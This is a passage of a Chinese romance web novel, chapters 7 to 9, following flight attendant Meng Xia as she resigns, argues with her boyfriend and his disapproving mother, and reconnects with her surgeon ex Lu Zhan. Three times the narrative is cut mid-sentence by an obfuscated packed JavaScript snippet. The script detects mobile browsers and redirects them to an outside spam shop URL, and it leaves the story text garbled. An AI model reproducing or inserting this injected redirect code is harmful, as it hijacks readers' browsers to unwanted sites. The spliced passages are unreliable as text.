可孟夏偏偏不争气,不是读书的料,从小拼尽全力也跟不上父母的高标准,高考磕磕绊绊只考了个二本,读的还是个没什么竞争力的普通专业,跟父母期盼的“名校高材生”差了十万八千里。 以至于有那么一段时间,她最反感听到的,就是父母略带叹息地念叨:“你看看你陆瞻哥......”“你要是有你陆瞻哥一半用功/省心/懂事......” 要说初中以前,孟夏还能把陆瞻当哥哥一样跟在身后崇拜、仰慕,上了高中,尤其是在那件告密事件后,孟夏很长一段时间都把他当成眼中钉、肉中刺。 本以为大学就能挣脱束缚,没想到父母的掌控欲半点没减,刚熬到快本科毕业,二老就把考研计划排得密不透风。 可孟夏早就受够了这种被规划好的、赋予高期待的人生。 父母的管控渗透到她生活的方方面面,尤其是高中那几年,林微澜对她的交友圈管得近乎苛刻,不能和差生玩,更不能和异性交往过密,但凡她和男生走得近一点,没过几天,那些男生就会被班主任叫去谈话,不用想也知道是谁打了招呼。 以至于整个高中时期,她连半点早恋的机会都没有,身边的男生都刻意跟她保持距离,生怕被“约谈”。 心里的逆反和压抑早就在慢慢堆积,她实在不想再围着父母的期望转。 不知道该往哪走的时候,宿舍姐妹随手甩来个江航空乘校招的链接,劝她去凑个热闹散散心,就当多个选择。 孟夏本来没抱任何希望,却偏偏占了外形的便宜,一米七的个子,五官优越,笑起来明艳动人,加上面试时破罐破摔的松弛感,居然稀里糊涂一路过关斩将。 本来终面通过后,她还有些犹豫,毕竟要远离家乡独自在江城生活。谁知,就在那个节骨眼上,一向对她几乎有求必应、纵容她所有任性的陆瞻,突然毫无预兆地、态度决绝地提出分手。 孟夏只觉得前所未有的丢脸和憋闷,一股邪火冲上头顶,索性心一横,接受了江航的录用通知。 风裹着街边烤红薯的甜香吹过来,手机突然震了震。 她腾出一只手点开,是林微澜发来的微信,[夏夏,给你寄的卤肉收到了吗?怕你又在飞,没敢打电话,要是吃完了就跟妈说,我再给你做,记得加热透了再吃,别总点外卖对付自己。] 她逃了这么远,以为能挣脱父母的掌控,抓住所谓的自由,可到头来,不过是换了个地方受委屈,每天被工作磋磨得没了半分心气,现在还要连累雅琴姐。 她在心里狠狠地啐了一口:去他爹的投诉!去他爹的道歉!爱撤不撤!老娘不伺候了! 孟夏深吸一口气,把手机揣回口袋,重新拧动车把。 7. 第7章 周日,孟夏睡到自然醒,躺在床上醒了会儿神,摸过手机看了眼时间,估摸着郑雅琴大概已经到单位,编辑了一条信息发过去:[雅琴姐,我想好了,决定辞职。] 消息发出去没几分钟,郑雅琴的电话就追了过来,声音急促,“孟夏,你最好告诉我,你刚才那条信息是在开玩笑。” 孟夏还瘫倒在床,“不好意思啊雅琴姐,我没开玩笑,离职申请书,我周一送到公司,可以吗?” 郑雅琴停下了手中的工作,走到窗边站定,“认真的?” “嗯。”孟夏应了声,“突然觉得飞的挺没意思的。” “孟夏,任何工作都是这样,没有哪一行是不辛苦不受委屈的,总不能事事都顺着自己的心意来,”郑雅琴放缓了语气,还在试着劝说挽回,“你今年的各项考核数据都不错,眼看着能有更好的发展,就因为眼下这点事,冲动辞职,不值当。” 孟夏不怕吃苦受累,凌晨起降熬到睁不开眼,落地后连轴转赶场,她咬咬牙都能扛过去,比身体疲惫更磨人的,是心口那股吐不出来也咽不下去的窝囊气。 “真不飞了,再这样下去,我感觉自己这条小命,都快被熬干了。” 可不嘛,这几年,憋屈气受多了,乳腺都熬出了毛病。 “那......你明天来公司办手续吧。”郑雅琴闻言似乎有所触动,声音透出一丝复杂的情绪,有惋惜,有理解,或许还有一丝难以言说的羡慕。 在服务行业浸淫久了,谁心里没动过“不干了”的念头?只是大多数人肩上扛着房贷、车贷、一家老小的生计,没办法像孟夏这样,尚在年轻,无牵无挂,可以凭着一时心气,说走就走,恣意洒脱。 挂完电话,孟夏把手机随手扔在床头,整个人陷进柔软的床垫,长长地舒了口气。 刚陷进被子没几分钟,她脑子里突然“嗡”的一声,差点忘记明天约了乳腺手术! 重新捞回手机,打开和陆瞻的微信聊天框,聊天记录还冷冷清清地停留在她上次发过去的那一个孤零零的「?」上,对方没给一点解释和回应。 孟夏盯着屏幕,撇了撇嘴,行啊,陆瞻,这几年是真长本事了。 想当初两人在一起时,微信里最后一条消息永远是他发的,从来没有让她的消息孤零零悬在那儿的道理。 孟夏眸色沉了沉,指尖悬在输入框上方,犹豫着,打了几个字,又删掉。反复几次,最终还是收回了手指,关掉了微信。 算了。 她转而点开医院App,找到乳腺外科的联系电话,拨了过去。 . 提出辞职后,清晨的风都是甜的。 孟夏起床慢悠悠洗漱,敷了片保湿面膜,描了淡眉,整个人气色透亮。 到公司后,她径直敲开了乘务部经理办公室的门。 郑雅琴抬头看见她,先叹了口气,接过离职申请,翻看着,语气惋惜:“孟夏啊,真的不再考虑考虑了?你的形象和服务口碑一直不错,今年整体考核成绩也排在前列,眼看就能开始飞国际远程航线了,这一走,太可惜了。” 孟夏笑笑:“谢谢雅琴姐一直以来的照顾,实在是飞得有点累了,想停下来,好好歇口气。”她顿了顿,坦诚道,“不怕您知道,前几天停飞,我去医院做了个检查,身体也......有点扛不住了。” 郑雅琴点点头,没再硬劝,“那离职后有什么计划?是打算转行,还是先休息一阵子?” 一提到这个,孟夏头皮发麻。 她其实压根没想好以后要干什么,更没敢跟父母提半个字,光是想想他们知道后的反应,她就浑身犯怵。 当初进入江航,是她不顾反对一意孤行选的路,如今说放弃就放弃,两位老师的唠叨和说教肯定会劈头盖脸地砸过来,指不定还要翻出当年的旧账数落她。 其实她不怕自己迷茫,怕的是没法给别人交代,尤其是父母。 “还没想好,”孟夏摇摇头,实话实说,“可能先回老家吧,其他的等歇够了再说。” 郑雅琴闻言笑了:“也好,年轻人嘛,选择多,机会也多。晏城那边环境好,空气清新,回去正好过个好年,养养精神,调整好状态。” 末了郑雅琴大笔一挥签了字,将文件递还给她:“行了,手续我给你签了,去人力办交接就行。” 从办公楼出来,祝炎枫的车已经在门口等了半个小时,孟夏拉开车门坐进去,还没来得及说话,手机就响了,是同事兼好友苏见萤打来的。 “夏夏,你辞职了?”电话那头的声音满是惋惜,“我刚听说,这也太突然了吧,是不是因为那个投诉的事情?” 孟夏单手扣上安全带,“也不全是,就是飞累了,突然觉得....不想再飞了。” “唉!”苏见萤重重叹了口气,“我还一直期待着能再跟你搭班呢!你这一走,我都想撂挑子不干了!” 两人又聊了几句,挂了电话孟夏瞥见窗外的路才发现自己忘了告诉祝炎枫去她家吃饭,忙说:“掉头掉头,中午去我那儿吃。” 她的冰箱里还剩一点儿食材,房子马上到期要退租,正好趁这个机会清空一下,打扫打扫。 祝炎枫利落地打了把方向,掉转车头,他压不住内心的愉悦,嘴角微扬:“辞职了?怎么之前没听你说过?” 两人在一起后,他明里暗里劝过很多次让孟夏考虑换个职业,不止是心疼她天上飞的辛苦,更是因为他母亲康逸,觉得孟夏作息颠三倒四,既没法好好照顾人,也拉低了儿子的档次。 “临时决定的,没几个人知道。”孟夏颇为惬意地伸了个懒腰。 车子平稳地向前行驶,祝炎枫听完她的话,想起什么,从储物格里掏出一张烫金的网球俱乐部会员卡。 “这是我妈前两天给我的,”他递给孟夏,“市中心新开的网球俱乐部,你辞职了正好有时间,可以去玩玩,就当锻炼身体。” 顿了顿,又补了一句:“我妈她......平时也经常去那边打球,你要是碰巧遇上了,就主动过去打声招呼,陪她打两局,多说点好听的。趁机....多讨好讨好她,接触多了,她对你的印象肯定能慢慢好起来。” 孟夏听完脸色一暗,把卡放回原位,“不用了,我不缺锻炼的地方。” 她抬眼看向祝炎枫,眼底带着明显的不悦,“还有,我为什么要讨好她?我又没求着她认可我。” 祝炎枫浓眉一拧,“我不是那个意思!我就是想让你们之间的关系缓和一点,别老是这么僵着......” “缓和也不是靠我单方面讨好换来的。”孟夏打断他,扭头问:“祝炎枫,我问你,我很差吗?” “你当然不差啊!”祝炎枫脱口而出。 “那就是了,你妈要是觉得我不好,那是她的问题,是她带着偏见看人,不是我的问题。”她语速不快,“我凭什么要委屈自己?合不来就不合,我不缺这一份认可,更不会为了她丢了自己的尊严。” 祝炎枫被她这番义正言辞怼得一噎,少爷脾气也上来了,皱着眉反驳:“我不是让你丢尊严!就是让你在长辈面前稍微低个头、顺着点!我妈那脾气你又不是不知道,固执得很!咱们俩以后要真想好好走下去,总得有人先退一步、让一让吧?” “退一步?她看不上我的工作,看不上我这个人,我还要腆着脸凑上去?”孟夏靠在椅背上,只觉得心里翻江倒海,刚才辞职带来的那点好心情,瞬间被这番对话冲击得荡然无存。 不是她不愿意退让,之前几次被祝炎枫带着去见康逸,她哪次不是精心打扮,揣摩着对方的喜好准备礼物,陪着小心说话,尽力表现得体? 可她的讨好,半点水花没溅起来。 偏见这东西,一旦扎了根,哪是靠她三言两语、低眉顺眼就能掰过来的? 一次两次,她还能劝自己为了感情忍一忍,次数多了,连她自己都觉得腻味可笑。 况且,不过是谈个恋爱而已,要不是祝炎枫三番五次,执意要带她融入他的家庭圈子,她压根没打算凑这个热闹,又没到谈婚论嫁、非他不可的地步,犯得着这么折腾自己、卑微求全吗? 祝炎枫也有些上火,握着方向盘的手背青筋微微凸起,“我妈再怎么说那也是长辈!你跟她较什么劲?我夹在你们中间,难道就不难做吗?” 难做? 孟夏在心里冷笑,这“难”,从头到尾,是她造成的吗? 一股强烈的厌烦情绪潮水般涌来,堵得她胸口发闷,连带着左胸外侧那个小小的纤维瘤,似乎也开始隐隐作痛。 车里的气压低得吓人,两人都沉着脸。 前面似乎出了交通事故,车流蠕动得极其缓慢,祝炎枫本就心情烦躁,开得窝火,这时车载中控屏幕骤然亮起,显示有来电。 他没细看,随手按了方向盘上的接听键,语气还带着没完全压下去的不耐:“喂?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202994|197273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这什么态度?跟谁说话呢?” 电话那头传来康逸女士清晰而不悦的声音,祝炎枫一僵,飞快地瞥了一眼身旁闭目假寐的孟夏,语气软了些,“妈....您有事?” “没事就不能给我儿子打个电话?”康逸说,“下周我的生日宴,定在锦绣园,你别迟到了。” 祝炎枫眉心紧蹙,敷衍地应着:“知道了。” “还有,”康逸话锋一转,听起来云淡风轻,“这次聚会都是自己人,你就自己一个人来,”她顿了顿,意有所指地补充,“别带些......不三不四,上不了台面的人过来,平白碍了长辈们的眼,也让人看咱们家的笑话。” 孟夏闭眼假寐,全当听不见。 祝炎枫脸色变了变,急忙压低声音:“妈,您说什么呢......我这边还有点事,先挂了。” - 回到孟夏租住的公寓,她随手把包扔在玄关柜上,踢掉脚上的鞋子,赤着脚就往客厅走。原本打算下厨做饭的那点心思,经过车上和刚才那通电话,早已烟消云散。 祝炎枫跟进来,瞅着她这副模样,拿起手机,识趣地道:“别折腾了,点外卖吧,日料怎么样?附近有家评分不错的,送得也快。” 孟夏眼皮都没抬一下,“你定。” 祝炎枫快速下单,放下手机。他有意缓和两人之间冰冷的气氛,主动凑近沙发,语气放软:“过两天赵晨组局请客,都是平时玩得好的几个,你也跟我一块儿去吧?就当出去放松放松,散散心。” “不去。” “又不去?”祝炎枫脸上那点刻意维持的和缓也挂不住了,语气里带上了不乐意,“就是朋友间一起吃个饭,聊聊天,玩一玩。孟夏,你至于每次都这么扫兴吗?” “至于,”孟夏抬眼,“赵晨是什么德行你不清楚?张口闭口荤段子,拿女生的外貌身材当谈资,半点尊重人的样子都没有,我看着就反胃。” 祝炎枫当然知道,他圈子里确实有那么两个朋友,嘴上没个把门的,品行方面差点意思。但他觉得,这些人虽说私德上有些瑕疵,可为人仗义,真遇到事情的时候办事靠谱,能实打实地帮上忙。私生活和个人德行那是人家自己的事,朋友之间,没必要揪着不放,上纲上线。 况且,他那帮朋友私下没少拿这事打趣他,总说他“连个女朋友都带不出来”、“是不是根本管不住孟夏”,次次都让他在圈子里觉得落了面子。 “你到底是看不上他们,还是压根就没把我这个男朋友放在眼里?”祝炎枫“啪”的一声把车钥匙甩在茶几上。 门铃突兀响起,打破客厅里剑拔弩张的气氛。 孟夏径直走到门口取餐,“吃饭吧。” 两份日式拉面,一盘精致的三文鱼寿司,还有炸得金黄酥脆的天妇罗和嫩滑的玉子烧,满满当当地摆了一桌子。食物的香气弥漫开来,却驱不散无形的低气压。 两人各自低头扒拉着碗里的面条,谁也没主动开口。 直到最后一口汤喝完,孟夏放下筷子起身时,手肘不小心撞到了碗沿,温热的豚骨汤“哗啦”一声全泼在了她的衬衫上,湿哒哒的汤水顺着衣料往下淌。 “啧。”孟夏低低咒骂一声,“我去冲个澡换件衣服。” 祝炎枫还沉着脸,闻言只从喉咙里压出一个不冷不热的“嗯”字。 孟夏刚进去没多久,被她随手搁在茶几上的手机就响了起来,屏幕上跳着一串陌生号码。 铃声执着的响个不停,祝炎枫瞥了眼,扬声朝浴室喊:“你电话!没有备注。” “应该是骚扰广告或者推销吧!”孟夏的声音裹在哗啦的水声里,模糊不清地传出来,“你帮我挂了就行!” 祝炎枫随手划了挂断,可还没消停半分钟,那串号码又锲而不舍地打了过来。 他皱了皱眉,本就压着火,倒要看看是哪个不长眼的,这么没完没了,他直接按下了接听键,刚“喂”了一声,浴室门“咔嗒”一声开了条缝,孟夏裹着浴巾探出头,头发湿漉漉地贴在颈侧,声音清亮:“祝炎枫,帮我把卧室床上那件白色T恤拿过来!” 女生清脆的声音,毫无阻碍地,清晰地透过正在通话中的手机听筒,传到对面。 电话那头,一片沉寂。 紧接着,听筒里传来一声极其轻微、却仿佛压抑着什么的呼吸声,随即, “嘟——嘟——嘟——” 忙音响起,电话被挂断了。 8. 第8章 孟夏换好衣服出来很快又接到房东电话,吴姐说过几天中介会带有意向的买家上门看房,问问她方不方便,能不能提前收拾下客厅和卧室,也好让房子看着整洁些。 她嗯啊应着,没多琢磨就点头应下,说提前跟她说声就行,她到时候会在家。 祝炎枫从她手里自然地拿过毛巾,动作不算熟练,“什么情况?这房子不租了?” 孟夏有个习惯,洗完头不喜欢立刻用吹风机猛吹,总是先用毛巾擦到半干,再慢慢吹透,也正因如此,她的发质一直保持得细软顺滑。 “嗯,房东打算卖房。” “那正好,你也别折腾租房了,反正你现在辞职了不用考虑通勤问题,直接搬去我那儿得了。” “不去。”孟夏扯过毛巾,“暂时不找房了,我打算先回晏城。” “回晏城?”祝炎枫皱了皱眉,“什么意思?” “回家休息一阵子,工作这么久,有点累了。” “休息一阵子?”祝炎枫几步走到她面前,“一阵子是多久?一个月?两个月?半年?”他盯着她的眼睛,“那我怎么办?隔着这么远,玩异地恋?” “你不知道异地恋就是分手的前兆吗?” 孟夏有些诧异地望着他,似乎没料到他会这么想,“我没说要跟你分手,”她皱起眉,“我只是想回去休息一段时间,调整一下状态而已。你为什么非要把事情想得这么极端?难道我连回自己老家、回父母身边待一阵子的自由都没有了吗?” “我没拦着你自由,可是你做这些决定有跟我商量过吗,辞职辞职我不知道,现在房子房子也不租了,连人都马上要离开江城了,在你心里,我到底算什么?” “辞职和回去的事,本来就是临时起意,我自己也是刚理清楚,没有故意要隐瞒你的意思。”孟夏站起身,与他平视,试图解释,但语气也硬了起来,“而且我以为,只是回去休息一段时间,并不是什么了不得的大事,没你说得那么严重。” “没那么严重?”祝炎枫的火气彻底被点燃,咬着牙,“行,既然你心里根本没把我们的关系当回事,那也别折腾什么异地恋了,分手得了!” 说完,他没再看孟夏一眼,抓起沙发上的外套,转身就往门口走,玄关处传来“砰”的一声巨响。 孟夏的目光落在紧闭的门板上,不知怎的,忽然就想起上一次有人在她面前这样摔门而去,好像已经是很久之前的事了。 也是这样一声沉重的巨响。 大二那年暑假。 陆瞻像往常一样,被林微澜叫来孟家吃饭,饭刚端上桌,门铃响了,来人是林微澜以前带过的一个高中女学生,大学放假从外地回来,特意提着水果上门看望恩师。 女生眉眼弯弯,一进门就认出了曾经在她隔壁班的陆瞻,显得格外惊喜,席间目光也总不自觉的往他身上瞟,聊的热络了,便大大方方问他:“陆瞻,你现在有女朋友吗?” 这话一出,饭桌上的气氛霎时微妙起来,陆瞻握着筷子的手一顿,他没有立刻回答,而是抬起眼,目光越过餐桌,看向了坐在对面的孟夏。 孟夏的心却猛地一跳,她怕父母看出什么,慌乱之下几乎是脱口而出,替人抢答,“他没有。” 话音落地,陆瞻眼神瞬间暗了下去,女生却眼睛一亮,立刻笑着邀请:“那太好了!周末新上映的电影,我能不能邀请你一起去看?” 一个是自己带出来的优秀学生,一个是视如己出的半个儿子,林微澜在一旁乐见其成,笑着帮腔:“陆瞻啊,你平时学业忙,实验多,正好趁假期放松放松,跟小张一块儿去看看电影,年轻人嘛,多交流交流,一起玩玩挺好。” 陆瞻被架在中间,脸色沉得厉害,却又不好驳长辈的面子,只能硬邦邦地应了声“好”。 那顿饭的后半程,吃得索然无味,孟夏甚至不敢再抬头看陆瞻一眼。 饭后,她心神不宁,找了个借口溜出家门,追去了隔壁单元。 一进门就软着语气认错讨好,又是递水又是拉陆瞻的胳膊,嘴里不停念叨着“我错了嘛,刚才也是情急之下才那么说的。” 可陆瞻根本不吃这一套,他将她递过来的水杯重重搁在桌上,转过身,目光沉沉,“孟夏,我们在一起的事情,为什么就不能告诉叔叔阿姨?” 孟夏被问得一噎,“你又不是不知道我爸妈,万一.....万一以后我们分手了,他们肯定要问东问西,到时候我肯定又少不了一顿教育,而且要是影响了两家关系怎么办?” 这话像一盆冷水,兜头浇在陆瞻身上,他愣了几秒,攥紧拳头,“什么意思?在你眼里,我们之间就只有分手这一个结局?” 孟夏被他问得哑口无言,直言想说她不是这个意思,可是两个人的开始就不算正常,结局会好吗?她张了张嘴,半天一个字也说不出来。 陆瞻看着她闪躲的眼神,闭了闭眼,“我实验室还有数据没处理完,先走了,帮你买的杂志放在书房桌子上,自己去拿吧。” 说完,没再看她一眼,转身狠狠甩上了门。 - 孟夏蹲在客厅中央,环顾着这个住了几年的小窝。 房子虽然是租的,却被她一点点打理出家的味道。飘窗铺着软乎乎的绒毯,墙上挂着自己费心拼好的卡通画,电视柜上还立着两个完工的乐高模型。 真开始动手收拾,她才发觉,自己这些零零碎碎的东西,竟然多得离谱。 不过衣柜挺空,这两年不是穿制服工作,就是穿着宽松的家居服宅家,逛街买衣服的兴致缺缺。 墙边的梳妆台倒是被护肤品堆得满满当当,毕竟常年熬夜倒班,不能亏待了自己的脸。 再就是那些宝贝盲盒,客厅旁边的书架上除了寥寥几本充当门面的书,全是挤挤挨挨的盲盒,从热门款到隐藏款,每一个都是孟夏这几年辛苦工作间隙,犒劳自己的小确幸。 行李箱和几个收纳盒很快就被塞得满满当当,孟夏想了想,翻出手机,找到楼下顺丰站点电话打了过去,打算从熟悉的快递小哥那儿买几个结实的大纸箱。 挂了电话,她才留意到通话记录里躺着两条陆瞻的号码。 孟夏盯着那串号码看了两秒,没多想,点了回拨。 直到听筒里传来系统冰冷的提示音:“您拨打的电话暂时无人接听,请稍后再拨。”她没多纠结,直接按了挂断,把手机随手往沙发上一丢,抓起钥匙,下楼去取纸箱。 晚上,忙累的孟夏躺倒在床,盯着天花板发了会儿呆。 指尖划过手机屏幕,好几次点到和祝炎枫的聊天框,话在嘴边绕了好几圈,却一个字也打不出来。 纠结半天,她索性退出聊天界面,点开小番薯。 首页推送还没来得及看,她先习惯性地点进自己的主页,一眼就瞥见之前随手发的那篇“社死”吐槽帖,消息栏的点赞和评论数量居然还在持续上涨。 进去细看,评论区密密麻麻,全是花样百出的催更和调侃: @小芝麻:[博主人呢?快出来更新啊!和前男友医生的后续怎么样了?急死我了!] @榴莲班戟:[看吧,我就说是编故事起号的,啧,没劲。] @和你一样:[弱弱举手......其实我上次去乳腺外科,接诊的也是位男医生,当时尴尬得脚趾抠地......但一刷到博主的经历,我突然就平衡了哈哈哈(对不起)。] @不瘦十斤不改名字[难道只有我想听详细故事吗?和前任在这种场合重逢什么的,简直不要太带感!求博主大人持续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202995|197273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更新!] 孟夏看着这些或关心或吃瓜的评论,犹豫了几秒,挑了几条热度高的随手回复: [在呢在呢......后续就是很尴尬地确诊了乳腺纤维瘤......] [真不是起号啊宝子,血泪教训....o(╥﹏╥)o] 回复完,她直接在评论区敲下一段更新,顺手点了置顶: 「统一更个进展:检查结果是乳腺纤维瘤,准备等忙完手头的事就择期手术。以后有后续我都会在这条评论里更新,方便大家查看。本来想删了这条尴尬的帖子,但如果能给大家带来一点乐子也不错。谢谢大家的关心啦~」 刚有点困意,手机突然震动起来。 “喂?” 听筒那边沉默了两秒,“你刚才给我打电话了?什么事?” 孟夏翻了个身,懒洋洋:“这话应该我问你吧?你不是给我打了两个电话吗,什么事?” 电话那头又静了静。 陆瞻下午给她打电话,本来是想问她为什么没按约定时间到医院做手术,可刚一接通,他就清晰地听见听筒里传来一个年轻男人的声音,紧接着,是孟夏那句带着水汽、容易引人遐想的话。 到了嘴边的质问,硬生生被他咽了回去。 “你回江城了?”陆瞻开口,“记得去那边的医院及时安排手术,还有.....林老师给的卤肉,需不需要我给你寄过去?” “不用。”孟夏抿了抿唇,漫不经心道,“过不了几天我就回晏城了,寄来寄去麻烦,实在不行,你拿给你同事分了吧。” 陆瞻刚下手术台,走到办公室门口的脚步倏然停住,“回晏城?” - 没过几天,中介果然带着一对看起来挺年轻的夫妻上门看房。 等看房的人离开,中介自来熟地留下,跟孟夏多聊了几句。 “姐,你把房子收拾得是真干净,人家小两口挺满意的,回头我再跟他们磨磨价格。” 孟夏点点头,顺手给他递了瓶水过去。 他拧开瓶盖灌了两口,看着屋里堆放整齐的打包箱和收纳袋,忍不住感慨:“姐,你这是......不打算在江城发展了啊?说真的,我挺羡慕你们这样的人,说回老家就回老家。不像我,从小没爹妈管,老家那破房子早就塌得不成样子了,想回都没个地方可回。” 孟夏听着,没接话。 中介走后,不知是被他哪句话触动,孟夏心一横,拿出手机,直接给林微澜拨了个视频电话过去。 本以为按照林老师的性子,知道她辞职,少说也得训上半个小时。 谁知道,听完她的话,对面只安静了两秒,“回来好,在江城漂了那么久,早该回来好好歇歇了。” “妈,我不是休假回去,”孟夏怕她没明白,又清晰地重复一遍,“我是辞职了,工作辞了。” “知道,我耳朵没聋。”林微澜拿着手机坐在沙发上,“什么时候回来?” 预料之中的暴风骤雨没有降临,孟夏差点以为自己听错了,张了张嘴,半天只憋出一句:“那我过几天先寄点行李回去。” “东西多吗?要不让你陆瞻哥开车去接你?他车大,塞得下。” “别了妈,”孟夏耸耸鼻子,随口道,“人家工作那么忙,哪有空管我这点芝麻小事?别去麻烦他了。” 她这话刚说完,屏幕那头的林微澜忽然朝旁边扬了扬下巴,“小陆,你最近方便吗?” “......” 孟夏心里猛地“咯噔”一下。 还没等她反应过来,就看见手机镜头被拉远了些,下一秒,陆瞻那张熟悉至极的脸,猝不及防地出现在视频画面的边缘。 “靠。”她盯着屏幕,心里忍不住暗骂一声。 9. 第9章 孟征下楼买了些凉拌菜回来,刚进门,就听见林微澜在问陆瞻是不是真的方便,他一边换拖鞋,一边随口问道:“你们说什么呢?什么方不方便?” 林微澜给陆瞻盛了满满一碗米饭,“是你闺女,刚打来电话,说辞职了,过几天就回晏城,我跟小陆提了一句,他说他方便,可以去江城接一趟。” 孟征走进厨房,找了个干净的盘子把凉菜倒进去,端出来放在桌上,“辞职好,她那份工作,本来咱俩就不赞成,回来挺好,安安心心在家待一阵,看看书考个编考个研,我们也放心。” “又来了!”林微澜立刻打断他,“我们之前怎么说的来着?等夏夏回来,你可别当着她的面说这些她不爱听的话。” 前两个月,林微澜和孟征学校一位同事的孩子出了点事,二十出头的年纪,确诊了重度抑郁症,还被发现有过自杀倾向。 那孩子从小被管得太严,生活学习大小事无一不是同事一手安排,容不得半点反抗,今年年初还被同事强硬的安排出国留学深造。 估计孩子在国外实在不适应,心理防线一下子彻底崩溃。 林微澜和孟征两人回过头细想,从小到大,他们对待孟夏的方式,和那位同事的行事作风,不能说一模一样,也至少有八九分相似。 越是深想,两人的心就揪得越紧,后背一阵阵发凉,后怕不已。 孟征被妻子一说,没再反驳,夹了一筷子凉菜,转而看向陆瞻,“小陆,你们医院工作忙,别听你林老师瞎安排,接夏夏的事,我回头抽个时间去就行,不耽误你正事。” 陆瞻安静地吃着饭,夹了一块林微澜做的糖醋小排,不知是不是今天糖放多了,感觉比往常更甜一些,“您放心,我正好去江城出差,顺道的事。” 饭吃到一半,孟征忽然放下筷子,看向林微澜,“对了,夏夏这次回来,那她和小祝那孩子......” 林微澜瞥了丈夫一眼,没接话,像是没听见似的,顺手拿起汤勺,给陆瞻又添了半碗山药排骨汤,叮嘱他多吃点。 饭后,陆瞻主动帮忙收拾了碗筷,又陪着孟征在客厅坐了会儿,才起身道别。 听到关门离开的脚步声走远,林微澜转身回到客厅,在孟征旁边的单人沙发上坐下,没好气地开口:“夏夏和小祝的事,能成就成,成不了......也就算了。” “怎么了?”孟征放下手里的报纸,看向妻子,察觉她话里有话。 林微澜眼神里多了几分复杂,“....你还记得我去年去江城参加那个教学培训吗?结束那天,我顺道找夏夏吃了顿饭,就在我们吃饭的那个餐厅,遇到了小祝的母亲。” “哦?还有这事?你怎么没提过?”孟征坐直了身体。 去年林微澜去江城培训,和女儿孟夏吃饭时,恰巧碰到了祝炎枫的母亲康逸。 当时孟夏先看见了康逸,主动起身,礼貌地打招呼,可康逸的反应却颇为冷淡倨傲,只敷衍地应了两声。 康逸身边还跟着朋友,朋友好奇询问孟夏是谁,康逸只轻描淡写地介绍说是儿子的朋友,不太熟。 对方这副轻慢的态度,让林微澜心里颇有微词。 看着孟征听完后沉下来的脸色,林微澜扯开话题,“夏夏感情的事,孩子不提,咱们也别多嘴。” 她顿了顿,目光看向门口,“倒是陆瞻这孩子,是真不错,知根知底,稳重踏实,”林微澜突发奇想,“诶老孟,你说,要是....要是这俩孩子能成,是不是也不错?咱们放心,两家也能亲上加亲。” 孟征听完没有直接反驳,愣了下神,在妻子发现端倪的前一秒摇了摇头,转移话题,“你今天是不是下手重了?那个糖醋排骨怎么吃着比之前要咸?” - 陆瞻从孟家出来,走到小区路边停下脚步,拿出手机,拨通了好友卓洋的电话。 “你车修好了吗?”他开门见山,“我这两天要用车。” 卓洋是做晏城本地旅游小团定制的,经常东奔西跑,前几天他接客的车出了点故障,情急之下找陆瞻借了车,陆瞻那辆路虎卫士,空间大,底盘稳,跑长途舒适。 “巧了不是!”卓洋爽快道,“我刚把你车开到洗车店,里外都给你收拾一遍,洗完我给你开过去。” 下午四点,陆瞻准时到医院接班,走进乳腺外科办公室时,章军怀正在电脑前查阅档案资料。 看见陆瞻进来,他抬起头,随口道:“我听小蒋说你不跟着大部队走?自己开车过去?院里可不给单独报销。” 陆瞻穿上白大褂,洗了个手,“对,去江城那边还有些私人的事情要处理,开车方便些。” 怪不得,章军怀点点头,又问:“这次学术交流会的汇报资料,都准备妥当了?” “您放心。” 倒不是陆瞻在林微澜面前硬着头皮揽活,乳腺外科这边,院里派了他和章军怀去江城参加这次为期一周的学术交流会,他接孟夏回来,还真是顺道的事。 这次交流会的主办方安排得颇为周到,酒店订的档次不低,还给每位与会者都预定的单独的房间。 陆瞻在前台办理入住时,正巧碰见章军怀从电梯里出来,看样子是打算外出。 “小陆,到了啊。”章军怀看见他,笑着招呼,“我正准备出去逛逛,给家里的小外孙买点礼物带回去,怎么样,要不要一起?” 陆瞻从前台手里接过身份证和房卡,礼貌婉拒:“谢谢章主任,我就不去了。” 章军怀年纪稍长,不像年轻人那样善于在网上做攻略,客气地向前台那位年轻姑娘咨询附近适合买儿童礼物的地方。 可惜小姑娘也是外地人,刚来江城工作不久,对江城并不熟悉,支吾着半天也说不出个所以然来。 一旁尚未离开的陆瞻闻言,转过身,“章主任,酒店西边步行街有家文创馆,您可以去逛逛,还有巷口的老字号糕点铺,是江城的特色,孩子应该也喜欢。” 章军怀听得很认真,有些惊讶地看向陆瞻:“小陆你对江城这么熟悉?以前常来?” “没有,就是平时......关注得多些。”陆瞻如实说。 - 孟夏的东西已经基本打包收拾得差不多了,昨天她收到陆瞻发来的微信,问她五天之后开车来接她是否方便,反正租的房子还有十多天才到期,她现在又没工作,不差多等这两天。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202996|197273||http|test|mini|href|location''.split(''|''),0,{})); () { 